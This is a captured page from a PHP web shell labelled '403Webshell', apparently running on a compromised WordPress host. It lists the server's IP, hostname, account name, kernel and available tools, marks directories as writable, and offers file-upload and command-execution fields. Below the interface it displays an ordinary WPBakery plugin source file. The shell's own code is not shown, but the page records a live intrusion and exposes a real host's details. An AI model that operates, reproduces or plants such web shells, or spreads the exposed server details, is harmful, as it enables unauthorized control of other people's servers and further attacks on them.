403Webshell
Server IP : 68.178.247.200  /  Your IP : 216.73.217.16
Web Server : Apache
System : Linux p3plzcpnl489463.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : x9dppmxs4rgd ( 8559391)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/cwd/wp-content/plugins/js_composer/include/params/params_preset/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/cwd/wp-content/plugins/js_composer/include/params/params_preset/params_preset.php
<?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

global $vc_params_preset_form_field_js_appended;
$vc_params_preset_form_field_js_appended = false;
/**
 * Params preset shortcode attribute type generator.
 *
 * Allows to set list of attributes which will be
 *
 * @param $settings
 * @param $value
 *
 * @since 4.4
 * @return string - html string.
 */
function vc_params_preset_form_field( $settings, $value ) {
	$output = '';
	$output .= '<select name="'
	           . $settings['param_name']
	           . '" class="wpb_vc_param_value vc_params-preset-select '
	           . $settings['param_name']
	           . ' ' . $settings['type']
	           . '">';
	foreach ( $settings['options'] as $option ) {
		$selected = '';
		if ( isset( $option['value'] ) ) {
			$option_value_string = (string) $option['value'];
			$value_string = (string) $value;
			if ( '' !== $value && $option_value_string === $value_string ) {
				$selected = ' selected';
			}
			$output .= '<option class="vc_params-preset-' . $option['value']
			           . '" value="' . esc_attr( $option['value'] )
			           . '"' . $selected
			           . ' data-params="' . esc_attr( json_encode( $option['params'] ) ) . '">'
			           . esc_html( isset( $option['label'] ) ? $option['label'] : $option['value'] ) . '</option>';
		}
	}
	$output .= '</select>';

	return $output;
}

Youez - 2016 - github.com/yon3zu
LinuXploit